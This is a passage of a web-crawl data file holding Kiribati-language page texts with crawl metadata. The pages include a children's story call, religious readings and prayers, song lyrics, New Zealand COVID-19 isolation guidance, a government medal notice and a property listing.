nooraki ma imwaina bwa ana booretiaki ibukin aia raiburari taian reirei. Te mwakuri aei e boutokaaki iroun te Raiburari ibukira ni kabane ao te Kiribati Education Improvement Program.\nTi kakaaei aia karaki ataei n aron aikai:\n✏️E koreaki n te taetae ni Kiribati\n🎒️E koreaki ibukiia ataein n te koraki 1-3\n💚 E kaota katein ao aron te maiu ni Kiribati\nKaraki ake a na rineaki bwa a na booretiaki a na anganaki te kanuanga ae AUD$30 ao a na kaboonganaaki ibukin booki ake a na boreetiaki ao n tibwaaki nakon taian reirei i aon Kiribati.\nWarekan karaki ni Kiribati n te taetae ni Kiribati e karikirakea te konabwai n te wareware n te taetae ni Kiribati, e katamaroaa aron reiakinan taetae n ianena irouia ataei, e kaungaa te reirei ao e beebete!\nAre you passionate about improving literacy and learning for young children in te Kiribati language? Do you want to see more te Kiribati stories in schools?\nThe Ministry of Education is looking for original, unpublished children's stories to publish for school libraries. This project is supported by Library for All and Kiribati Education Improvement Program\nWe're looking for children's stories:\n✏️ Written in te Kiribati language\n🎒️ Aimed at primary school children class 1-3\n💚 Showcasing Kiribati culture and lifestyle\nStories chosen for publication will receive an AUD $30 honorarium and will be used to create a library collection that will be published and distributed to all primary schools throughout Kiribati.\nSubmit your story or find out more by emailing [email protected] or calling 73045070.\nReading Kiribati stories in te Kiribati language improves literacy in te Kiribati language, improves the learning ability of children in other languages and makes learning fun and easier!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/libraryforall.org\/kiribati-education-improvement-program\/?s=","date":"2022-05-28T04:18:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663012542.85\/warc\/CC-MAIN-20220528031224-20220528061224-00212.warc.gz","language":"gil","language_score":0.9993041754,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9993041753768921}","num_words":330,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.248,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te karangaina ae koraki\n1. N te karangaina ae e koraki A kautinako taiani io Ao a manga oki n tairiki Ni kaei aia tabo ni matu O io io I ongo tangimi Kam tangi ni kakananoanga E bon rorota nanou tangimi Ni katoa tairiki koraki\n2. E boni kawakina raoi natina Ni karokoa e kibakiba A uaia ni kiba i marawa Ni katebei kanaia ikani marawa\n3. A roko i orani marawa A kangi taian nouamwake Abau are i nanon marawa I abaia ikani marawa","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/07\/04\/n-te-karangaina-ae-koraki","date":"2022-05-18T19:40:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522309.14\/warc\/CC-MAIN-20220518183254-20220518213254-00362.warc.gz","language":"gil","language_score":0.9999288321,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999288320541382}","num_words":84,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 1 Kaabong\nWarekan te Reta nakoia Ebera. 3: 7-14\nE kangai te Tamnei ae Raoiroi: \"Ngkana kam ongo banana n te bong aei, ao tai kamatoai nanomi, n ai aromi n tain te kauntaeka ni bongin te kataki i nanon te rereua, ngke a kataai ma ni karawawataai ami bakatibu, i muin noran au makuri i nanon abui te ririki. Ma ngaia are I un nakon te roro arei, ao I kangai: A aki toki ni kairua nanoia, a aki ota n au katei; ai ngaia are I taetae n tuea ma te un ni kangai: A na aki rin i nanon au motirawa.\" Tatarai ngkami, tari, ba e na akea temanna i buakomi ae e na reke irouna te nano ae buakaka ma te rawa n onimaki, ba e na kitana te Atua ae maiu. Kaungai nanomi i boni iroumi ni katoa bong ao ni kabongnga, ba e aonga n akea temanna i buakoni ae e na kamatoaki nanona n ana kariri te bure. Ba ti ibuokanibai ma Kristo ti ngkana ti kawakina ara moa n onimaki ni matoatoa, ni karokoa te toki.\nTe Taramo 94: 6-11\nKaekana: Ngkana kam ongo banana, ao tai kamatoai nanomi.\nRin, bobaraki, katorobubua, Ti na taromauria te Uea ae karikira.\nBon Atuara Ngaia, Ao ngaira ana botanaomata ae E kairia\nma ana nanai ae E kawakinna ni baina. K.\nOngoa n ana taeka n te bong aei: \"Tai kamatoai nanomi n ai aromi i Meriba\nNgke kam mena i Matia n te rereua, Ngke a kakatai ma ni kaunai ami bakatibu,\nAo a bon nori au makuri. K\nA kaunai te roro aei abui te ririki, ao I kangai: \"Bon te botanaomata ae nanoro,\nAe aki Ota n au katei.\"Ao I taetae n tuea ma te un, ni kangai:\n\"A na bon aki rin i nanon au motirawa.\" K.\nAlleluia, alleluia.\nTe Uea, reireiai kawaiu, Kairai n te kawai ae eti. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 1: 40 – 45\nE kawara Iesu temanna te rebera, ni butia, ao e katorobubua ma n taku: \"Ngkana nanom, ao Ko kona ni kamaiuai.\"e rotaki Iesu n te nanoanga, ao E arora baina n ringnga, ao E taku: \"Bon nanou, ko na maiu.\" Ao e toki naba reberana, ao e marurung. Ma E karawawata ana taeka nakoina temanna, ma nako, kaotiko nakon te berebitero, ao anga te karea are e baireia Mote, i bukin kamaiuam, ba aia bai ni kakoaua.\" Ma ngke e nako, ao e taekinna ma ni katanoata rongorongona. Ao ngkanne E aki kona n rin Iesu n te kawa teuana, n aki karaba; ma E titiku i tinaniku, n tabo aika rereua; ao E kawaraki man tabo nako.\nTibatiba: Ngkana kam ongo banana n te bong aei, ao tai kamatoai nanomi\nTariu ao maneu inanon ara kekeiaki inanon maiura aio ao ti riai n ataia ba iai uoua bai aika ti kantaningaira n tokin maiura aio ba te maeka ma te Atua n aki totoki ke te maiu inanon te mate ae aki totoki.Ti riai n ataia ba antai ae karikira ao tera raoi ana kantaninga te Atua ibukira. Eng ti bon riai ni kakoaua ba E karikira te Atua nako aonteaba ao bon ana kantaninga ibukira ba ti na bane karekea te maiu ae tokina ni maeka ma Ngaia n te baretaiti are i Karawa.\nN te bong aio ao E taetae te Tamnei ni kaota Nanon te Tama nakoira ba ti riai n aki kamatoai nanora ngkana ti ongo banana n te bong aio. Ngkana ti ongo n ana Taeka te Tamnei ae Raoiroi ao nanona ba ti a tia ni kabongana te wanwana are ti tia n anganaki ao ti a tia n rineia ba ti na karaoa te bai ae na anganira kororaoin te maiu iroun Iesu. Ba ti riai ni kakoaua ba bon ti iroun Iesu ae ti kona ni karekea te maiu ae aki totoki. Ti na bubutia ngkanne te Atua ba ti na anganaki te wanawana n ongo banan te Atua nakoira ao riki ti na bubuti te korakora n toua kawain te Koaua ngkana e taonira ana kariri te bure n rawa n ongo banana te Atua are bon maten nanona ibukira ba ti kamaiuaki. Ti riai n tai nako n irira te Atua ao ni kakaraoa Nanona inanon maiura aio ba ti aonga ni karekea te maiu ae akea tokina.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1727-ngkana-kam-ongo-banana-n-te-bong-aei-ao-tai-kamatoai-nanomi","date":"2022-05-28T17:28:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663016949.77\/warc\/CC-MAIN-20220528154416-20220528184416-00333.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":719,"character_repetition_ratio":0.056,"word_repetition_ratio":0.014,"special_characters_ratio":0.237,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O TE NATI TE MWAANE AE NATIN AU TABONIBAI TE AINE!\nMooi man newen te nanoanga n waanakon kamiimi n tamnei, ao nooria man bongin rikiraken rongorongo n tamnei n taekan te oota are e aikoa rabunaki n ootan itongin-ngainan te niniwana. Uniki koraan Au niniwana n tamnei n te tano ae e kororaoi, ao teteboki n ranin nako te koaua ni koaua, bwa e aonga atintan te rabakau ma te niniwana n teberake ni boou-reirei ao ni kiriin man kaawan te nano ae tabu.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.bahaiprayers.io\/prayer?id=10403790&to=gil","date":"2022-07-04T00:02:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104277498.71\/warc\/CC-MAIN-20220703225409-20220704015409-00657.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":85,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te maiu i Green | Life at Green\nIaon Green, ao iai uarereken butinakon te aoraki n te baronga, ao ara botaki ni kuakua e tauraoi ni kaitara.\nTe Maiu i Orange | Life at Orange\nI Orange, ea tia n butinako te COVID-19 inanon te community. Iai raraoma bwa a na rotaki aomata aika a karako aia konabwai ao e katautauaki naba te botaki n kuakua bwa e na aki kona uotana.\nBeba ni katanoata ao bwai ni ibuobuoki a tauraoi n oin am taetae\nTi katauraoi bwaai aika mwaiti ni buoka am bitineti, tabo ni mwakuri, communities ao botaki nako, karekean te COVID-19 Protection Framework settings.\nKo kona n download ao n print ara logo, templates, posters, videos ao social medial tiles man ara Resource Toolkit\nLast updated: at","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/traffic-lights\/","date":"2022-07-01T19:59:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103945490.54\/warc\/CC-MAIN-20220701185955-20220701215955-00331.warc.gz","language":"gil","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000077486038208}","num_words":129,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Heii Nei Bubura n asuu are\nTaatu\nare t kabanea n ababaki ao Nei Sioka are\nTebukaruru\nare th kabanea n cute abakina\n?\nJust bcos U wear the same white dress on the Graduation then you'll have a same flight today ? ?\nHave a safe flight all the way to Fiji and May God be with U on yr journey ao iaqoii raoii ami reirei ao an katoka t baere t mena arei ? ?\nTariuu ohh Im gonna miss u badly ao n missna ami nicknames aikaii ma tau sa maga bn kaisibooaki n ababakin t maiu ao are bn areii nb Naako ao tai ieiein ikekeii ba waysang cup ae still waitinq Dress Affordable items to wear in prom for girls that like cinderella ? ?\nTaqirii qkamii tariu ao tekeraoii qkamii ? ?","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.plasticstaple.net\/Dress-Affordable-items-to-wear-in-prom-for-girls-that-like-cinderella.html","date":"2022-07-06T19:00:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104676086.90\/warc\/CC-MAIN-20220706182237-20220706212237-00190.warc.gz","language":"gil","language_score":0.9635567665,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9635567665100098}","num_words":129,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":0.926,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Katoka Metara 2022\nKATANOATA IBUKIN TE KATOKA METERA 2022\nNakon Mataniwiin Aaro, Botakin n Aine, Ana Tabo ni Makuri Te Tautaeka, Kiraka n Abamwakoro, Botaki ake aki mena iaan Te Tautaeka, KCCI ao Bitineti ma Kambwana ao ai te bontanaomata ni kabane.\nE kukurei ni katanoata ikai ana Aobiti Te Beretitenti bwa ea manga kauka butimaean booma ibukin Te Katoka Metera n te ririki aio 2022 man 3 n Tuun ao n toki n 23 n Tuun 2022 ibukin manga rinanoaia iroun te Komitin.\nE kakawaki karinakin am booma ibukin te aomata ae ko ataia bwa iai ana mwakuri ae a tia n karaoia ae kakawaki ibukin abara ae Kiribati bwa e na katokaki ana metera nte Turai aio. Te aomata aio e na riki bwa te banna ni katoto nakoia ara ataei ma ara roronrikirake ibukin kairan maeuia nakon ae raoiroi nakon taai aika ana roko.\nBooma ni bubuti a kona n bane n reke naba irouia Kauntira iaon aba, Ana Aobiti te Linnex ibukin Kiritimati ke ana Aobiti te Beretitenti n taina are e uki iai n 3 n Tuun.\nIbukin rongorongona ae bwanin ao kam kona n reitaki ma ana Aobiti te Beretitenti iaon namba n tareboon aika 75021183 ke 75021141. Ke nora ana facebook page are e na toka iai kabarabarana.\nKam kona ni karekei ami booma ibukin rineaia ami aomata ao ai kainibaire ake a riai ni iraki nanoia man taian links akana a oti ieta.\nKam rabwa.\nMairoun,\nTia Koroboki n te Kaebineti ao Te Tia Babaire ibukin te Komitin ni katoka Metera","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/president.gov.ki\/news\/80-news\/102-katoka-metara-2022.html","date":"2022-06-29T01:19:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103619185.32\/warc\/CC-MAIN-20220628233925-20220629023925-00574.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":250,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Okiran karaoan mwakuri ake ko tataneiai ni kakaraoi\nNgkana ko a marurung man te COVID-19, ao kona kunea ae kona kakai kua ke ni uarereke ikeikem. Aio e rangi n rereke imwiin te bwaka n aoraki.\nKo riai n aki takakaia ngkana ko a okiri bwaai ake ko tataneiai ni kakaraoi mai imwaina. Kakoaua bwa kona:\n- kabatia te matu\n- amwarake raraoi\n- motirawa ngkana ko kainanoia\n- bon angan rabwatam ana tai.\nNgkana iai am tabeaianga, ao ko riai n taetae ma am taokita ke te tia mwakuri ae mwaatai n te botaki ni kuakua.\nOkirakin am mwakuri\nNgkana e bon teimatoa ni iai kanikina iroum imwiin tokin am tai n tiku ni kaonotiko, ko riai n teimatoa n tiku ni mwengam ao ni kamarurungko. Aio e riai man 24 te aoa imwiin are ai bon akea kanikina iroum.\nKo riai ni maroro ma am manatia ke am tia kairiri ibukin te tai ae riai ibukin okirakin am mwakuri.\nOkirakin te reirei\nNgkana ngkoe ke am ataei e teimatoa ni iai kanikina iroumi imwiin tokin ami tai n tiku ni kaonoti ngkami, ko riai n teimatoa n tiku ni mwengam ao ni kamarurungko. Aio e riai man 24 te aoa imwiin are ai bon akea kanikina iroum.\nAio are e na bwainaki naba n taian reirei ibukia atae aika uarereke, reirei, kura ao katen rinan n reirei.\nKo aki kainanoa ae kona katauraoa te kakoaua ibukin am tutuo ae nakoraoi n te RAT ke te PCR ibukin okiran te reirei.\nNgkana e a riaon 10 te bong man te tai are e reke iai kanikinaean te COVID-19 ao ataei aki kona n aranaki bwa aki marurung, ao e a kanganga ae ana kaewea te aoraki ao a kona n okira te reirei.\nNgkana te ataei e bon teimatoa n namakina te aki marurung ke tao te kanikina irouia e a tabe ni kakaiaki imwiin 10 te bong, ao a riai n aki okira te reirei. Ko riai ni maroro ma am taokita ke n tareboonia te Healthline iaon 0800 358 5453.\nOkiran te kamarurung\nNgkana ko a tia ni wene n aoraki ao n aki kakamarurung ke n aki bati ni kakamwakura rabwatam, ao rabwatam e tangira te tai ae tau ibukin manga okiran am kamarurung are e taneiai iai.\nAm taokita ke te tia mwakuri n te botaki ni kuakua ae mwaatai e kona n anganiko taeka ni ibuobuoki bwa e na kanga arom n okira aron am kamarurung n kaeti ma te kanganga ae ko mena moa iai. Ko kona ni kunei riki rongorongo iaon okiran te kamarurung n te Health Navigator website:\nKaitiakan ao tiringan manoaraki ni mwengam imwiin tikum ni kaonotiko\nTe COVID-19 n angiin te tai ao e ewewe rinanon te rangi ni kaan ma te aomata ae e a tia n ewekaki ngkana e bekobeko ke ni mwatie. E ngae ngke e kuri kanganga te ewekaki n aekaki aikai, ma ko kona naba n ewekaki ngkana ko riinga te bwai ke mataniwin bwaai aika a tia n ewekaki, ao ko a manga riinga wiim, bwairim ke matam.\nTe manaoraki e kona n tiku ni maeu ni mataniwin bwaai inanon te tai ae uarereke. Ma e rangi ni mmaani rabunana are mai tinaniku n te aro are e rangi ni bebete aron tiringana rinanon te kaitiaki ao te kaitiaki n tiri manaoraki.\nNgkana iai te keiti ae kamatoaki ibukin te COVID-19 inanon te tabo ae e in inanon te maan ae 24 te aoa n nako ao te manaoraki e na ananga ni kona ni kuneaki iaon mataniwin bwaai. Ni kabane mataniwin bwaai a riai ni kaitiakaki ao n tiri-maniaki.\nNgkana e a reke iroum kanikinaean te COVID-19 aika a boou\n28 te bong ke e kee riki mai imwiin te ewekaki n te tai ae nako\nNgkana e a manga reke naba iroum kanikinaean nako te COVID-19 ao ai 28 te bong ke e kee riki mai mwiin ewekakim n te tai ae nako (man te tai are e kuneaki iai te manaoraki iroum ke man te tai are a moan reke iai kanikina iroum) ao:\n- e a uarereke reken te aoraki mai iroum, ao ko aki kainanoa ae kona manga karaoa riki te tutuo— tiku ni mwengam ao kamarurungko, ni karokoa e koro 24 te aoa ao ai akea ngkanne kanikina iroum\n- ngkana iai aorakim ae okioki ke n teimatoa n riki bwa ai bon aorakim ke ngkana a reke iroum kanikinaean te COVID-19 aika a rangi ni kakaiaki, ao ko a riai ni kakaea buokam mai iroun te tia mwakuri n te botaki ni kuakua ke man te Healthline iaon 0800 358 5453.\n29 te bong ke e raka riki mai imwiin te ewekaki n te tai ae nako\nNgkana e a manga reke naba iroum kanikinaean nako te COVID-19 ao ai 29 te bong ke e raka riki mai mwiin ewekakim n te tai ae nako, ao ko riai n tutuo n te RAT. Ngkana e aki nakoraoi mwiin am tutuo, ao ko riai n tiku ni kaonotiko ao ni ira te kaetieti ao taeka ni ibuobuoki inanon am tai ni moan ewekaki.\nNgkana temanna ae ko maeka ma ngaia e reke irouna te COVID-19\nN te tai are ko a marurung iai man te COVID-19, ao ko aki tangiria bwa kona manga tiku ni kaokoroko riki ibukin 3 te namwakaina ngkana temanna ae maeka ma ngaia e kuneaki ni iai irouna te manaoraki.\nIbukina bwa te ananga ni manga ewekaki inanon te tai aio e a rangi ni uarereke.\nTe COVID ae wenenako\nTe COVID ae wenenako e kabwarabwaraki n te aro are taian kanikina a teimatoa ni wenenako ke n rikirake imwiin taian moa kanikina n te COVID-19. Aio are kaanga e teimaan riki nakon te 12 ni wiiki imwiin are te aomata e moan ewekaki iai.\nAngiia aomata ake e reke irouia te COVID-19 a bane ni marurung raoi imwiin 2 nakon 6 te wiiki, ao n tabwanin marurungia raoin inanon 12 te wiiki. E ngae n anne, ao tabeman aomata a ribotini taian kanikina aika kakaokoro n teimatoa ni iai inanon te tai are e kantaningaki iai te aoraki bwa e na marurung.\nKanikina ibukin te COVID ae e wenenako a kona n tiku inanon wiiki ke n tabetai inanon namwakaina. N aron aikai:\n- te nimarakiraki\n- te bononike\n- te bekobeko\n- te bwaka buua\n- te tiki ni bwabwa\n- te maraki ni bwabwa\n- iremwe ni iango, te nanoro ke 'te mabubu ni kaburoro'\n- kangangan reken te matu\n- te waiteketeke ke te mwarane\n- te niraki ke te tanoi\n- marakin te toma n rii\n- marakin te matireti.\nIbukin te ibuobuoki iaon tarataran ao bwainaorakian te COVID ae wenenako, ao kakaea buokam mai iroun am taokita ke man te tiim ni kuakua. Karokoan te waaki ni kuakua iaon te COVID-19 e bon mwanenaki ni karokoa e koro 6 te wiiki man te moa ni bong are e reke iai taian kanikina iroum ke man te tai are e kuneaki te manaoraki iroum, are e moan kaoti ai ngaia naba.\nKo kona riki ni kunei rongorongon te COVID ae wenenako, ni ikotaki ma kanikina ake a rangi n okioki ribotinakia, iaon ana website te Botaki ni Mwakuri ibukin Te Mauri:\nItinaki ngkai ngkana ko tuai ni itinaki mai imwaina\nN te tai are ko marurung iai ao ko tuai itinaki ke ni itinaki n te iti ni kakorakora, ao e kaungaaki bwa kona riai naba ni itinaki.\nKo riai n tataninga 3 te namwakaina imwiin marurungim imwain itinakim n te iti ni kamanomano man te COVID-19.\nLast updated: at","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/care-and-isolation\/after-you-have-had-covid-19\/","date":"2022-08-12T20:56:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571758.42\/warc\/CC-MAIN-20220812200804-20220812230804-00403.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1231,"character_repetition_ratio":0.066,"word_repetition_ratio":0.054,"special_characters_ratio":0.228,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Please come back soon to check for further details of land plots on sale or for sublease in Kiribati.\nFor further information, please contact him by email at email@example.com\nAt the moment no properties available. All have been sold, please check it later.\nAo ibukim ngkoe tei Kiribati are iai abam ke am auti ae ko kan ritinna nako, nakomai kawarira bwa ti kona n tei ibukim ni karaoi bwaai ni kabane ao ni kaboa nako ke n ritinaki abam ke am auti iaan te boraraoi ae materaoi ibukim. Ni kabane ara boraraoi ti karaoi ibukimi bwa ko na rauaki raoi iai ao n reke are ko iangoia iai.\nThe Bokaboka pool, Beru Island\nFor any updates on new property listing, you can subscribe to our site for keeping you updates on the lists of properties. Fill this form below:","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/mantaia.webs.com\/islandproperties.htm","date":"2022-08-14T19:10:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572063.65\/warc\/CC-MAIN-20220814173832-20220814203832-00121.warc.gz","language":"gil","language_score":0.9936364889,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9936364889144897}","num_words":140,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N rokom i Nutiran, ao ko riai ni katabwanina aron am tutuo n aron are e tangiraki ni kabongana te bwai n tutuo ae tawe (RATs) are e mena ibuakon am batia ibukin rokom.\nKona kunea n aron ae e oti inano bwaai ake ko riai ni karaoi ngkana e a kaoti iroum kanikinaean te COVID-19 imwiin am 'tutuo n rokom' (n ke imwiin Bong 7 imwiin rokom).\nKaraoa te tutuo\nNgkana e a reke iroum kanikinaean te COVID-19, ko kona ni bubuti te bwai n tutuo ae akea boona ae te RATs n ootanna n te intanete ao n anai n taabo ake ana anaaki mai iai\nNgkana akea n reke iroum taian kanikina ma ko bon teimatoa ni kan tuoaki n te RAT ao ko kainanoa ae kona bon kaboa am bwai n tutuo n taian titoa tabeua, taabo ibukin taian bwainaoraki ke te mwakete ake a totoa.\nNgkana ko kuneaki ni iai iroum te aoraki\nNgkana ko kuneaki ni iai iroum te aoraki, tarebonia 0800 222 478 ke ribotina mwiin am tutuo n te RAT ae kaotia bwa iai iroum te aoraki.\nNgkana iai nambwan am tareboon ae maeu, te Botaki ibukin Te Mauri e na kanakoa ana rongorongo ae taibinaki man nambwa aika a katauaki aika 2328 ke 2648 ni kamatoa kuneakin te aoraki iroum. Te rongorongo ae taibinaki anne e na bon katauraoi rongorongo ibukin kaokoroam ni maeka ao te nambwa ibukin rinim n te intanete ibukin te booma ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia.\nKona bon bae ni kainanoa ae kona kawara te tabo n tutuo ao ni karekea tuoakim n te tutuo ae te PCR imwiin kuneakim n iai te aoraki iroum n am tutuo n te RAT. Te booma e na bon karokoaki nakoim rinanon te emeeri n te aro are ko kona ni print ke ni kaota katotona man te tareboon n taabo n tutuo.\n1. Kaokoroko ni maeka\nBon tabem kakaean am tabo are kona kaokoroko ni maeka iai\nKo riai ni kaokoroko ni maeka inanon 7 te bong ngkana ko a marurung. Am bong akana 7 akanne e moanaki man te bong are a kaoti iroum kainikina ke n te bong are e a kuneaki te iroum te aoraki (n teina are e moan kaoti ai ngaia naba). Ngkana ko aki iri kaetieti, ao ko kona ni katuaeaki n te mwane.\nKo riai ni kaokoroko ni maeka n te tabo are ko mena iai ke ni kakaea am tabo ni maeka teuana.\nNooria ngkana ko kona ni kaanaua riki tikum ke ni kakatauraoiko ibukin kakaean am tabo riki teuana. Ko kantaningaki bwa ko nang kabwakai kabanemwane ake a irekereke ma kaanauan tikum ke kabaea am tabo ni maeka teuana. Tuoia ngkana ko kamanoaki iaan ana kainibaire te kamanomano ibukin te mwamwananga.\nAntai ae riai ni kaokoroaki ni maeka?\nAntai are e tiku irarikim ke ni mwamwananga ma ngkoe e riai ni kaokoroaki inano 7 te bong. Aio are a reke naba iai ni kabane ake ko maeka ma ngaia n te outero ke te n ruun te auti ni irua, te umwa n rianna, kaa auti, kaa ni maeka ke te auti ni motirawa, i.e., ni kawaim are ko 'kariaiakaki iai ni mwananga'. Aomata ake a maeka ma ngkoe n taian auti ni irua ake a boraoi ke taan rianna aki kainanoaki bwa ana kaokoroia, ti ngkana kaain am mwananga are ko 'kariaiakaki iai ni mwananga.'\nNgkana ko aki kona n tiku n te tabo are kona maeka moa iai\nNgkana ko aki kona n tiku n te tabo are kona maeka moa iai, ao ko kona ni kakaea am tabo ae kona maeka iai. Taabo ni maeka ake ibukin te kaokoroaki e kona n ae te auti ni irua, te outero, ke te kaa auti ae toamau ma bwaai aika a kainanoaki. E riai n:\n- uakaan ma te tabo are ko mena iai\n- n akea iai tibwauakin bwaai irouia irua.\nKo aki kona:\n- n toka n te wanikiba nakon am tabo ni maeka\n- kabuti kaa n te raroa ae abwabwaki are e na kainanoa te tiku ni matu teuana te tairiki\n- n toka n te meeri ke te bao ni mwamwananga ibukin te botanaomata.\nE kona ni kabonganaki ae bon oin baom ni mwamwananga nakon am tabo ni maeka. E kona n ae bon oin am kaa, ke ko kona n kabooa tangoan te kaa teuana ngkana e kona ni karaoaki aio rinanon te bwakamwane ao te waaki n rikoriko ae akea te kaitibo iai.\nManga kangaraoia nakon te tai teuana ke ni kakea am babaronga\nReitaki ma te kambwana ni kibakiba ke te tia mwakuri ibukin te kaneweaba ibukin manga kangaraoan am babaronga ibukin mwanangam nakon te tai teuana ke bwaai ake kona karaoi. Taiaoka ma ataia, bwa akea kabaean te tia katauraoi bwaai iaan te tua ni kaoka am mwane ke ni manga kangaraoa am babaronga nakon te tai teuana.\nTera ae kona karaoia inanon te tai n tiku n onoti\nInanon te tai n tiku n onoti:\n- Totokoa te reitaki ma aomata ake ko maeka ma ngaia, n aron te katoto, matu ti ngkoe, kauarerekea te tai ae kona kabanea n taabo ake a ibuokanibwaiaki. Ngkana ko aki kona, ko na riai n taua raroam ae e aki kerikaki iaan 2 te mita ao ni kabongana rabunan te ubu are e rabuna bairim ao wiim ngkana ko kaan ma tabeman.\n- Karaoa am uati i bon iroum.\n- Kaitiaki mataniwin bwaai ni katoatai, n raonaki ma bwaai ake aki toki n ririringaki, n aron kaintauan te mataroa, bwain kauran te taura, tareboon.\n- Kauki winto ni kakorakora butin te ang ae e bou inanon te auti.\n- Kakoaua bwa ana nikiraki bwaai, n aron te amwarake ao te bwainaoraki.\n- Mwakuri man am tabo ni maeka ngkana ko kona ni karaoia.\nInanon am tai n tiku n onoti, tai:\n- kitana am tabo ni maeka e ngae ngkana iai bukina (ma ti ngkana iai bukina aika a kariaiakaki n aron aika a oti inano)\n- otinako ni karekea te amwarake ke te bwainaoraki\n- ni ibuokanibwai ma tabeman n am auti — n aron te katotof, bwai n amwarake, kai ni irewi, ao taian taara\n- nako nakon aia tabo te botanaomata\n- kabongana te bao ni mwamwananga ibukia te botanaomata ke te taekitii ao kaa ake a kona ni ibuobuokaki ibukin te mwamwananga\n- butimwaia irua, ma ti ngkana aomata ake a tabe ma kuakuakim ke temanna n am auti.\nAikai bukina aika a kariaiakaki iai kitanan am tabo are ko kaokoroko ni maeka iai\nKo kona ni kitana am tabo ni maeka ngkana kona kabongana n taainako nangoan te ubu ngkana kona:\n- riboti ibukin, ao karaoan, taian ukeuke ao tutuo ibukin marurungim ake a kainnanoaki\n- karekea buokan maurim ke bwainaorakiam are e aki kona n taonaki taina nakon muin banen am tai n tiku ni kaonotiko\n- mwaing nakon te tabo n tiku ni kaonoti teuana ibukin kawakinan maiun te aomata temanna, ke ibukin te katantan\n- kamarurung itinaniku n aonon te tabo are ko tiku iai – tai kabonganai bwaai ni kamarurung ake a kona ni ibuokanibwaiaki, n aron te tabo ni uaua n tebotebo\n- kawara am koraki are e kakaiaki n aoraki are e aki kantaningaki bwa e na maiu imuin banen am tai ni tiku ni kaonotiko\n- nora rabwatan am koraki imwain te taunimate ngkana ko na aki kona n nora te rabwata imuin banen am tai n tiku ni kaonotiko.\n2. Ririmwiaia ake a tia ni kaitibo ma ake iai te aoraki irouia\nTuangiia aomata bwa iai iroum te 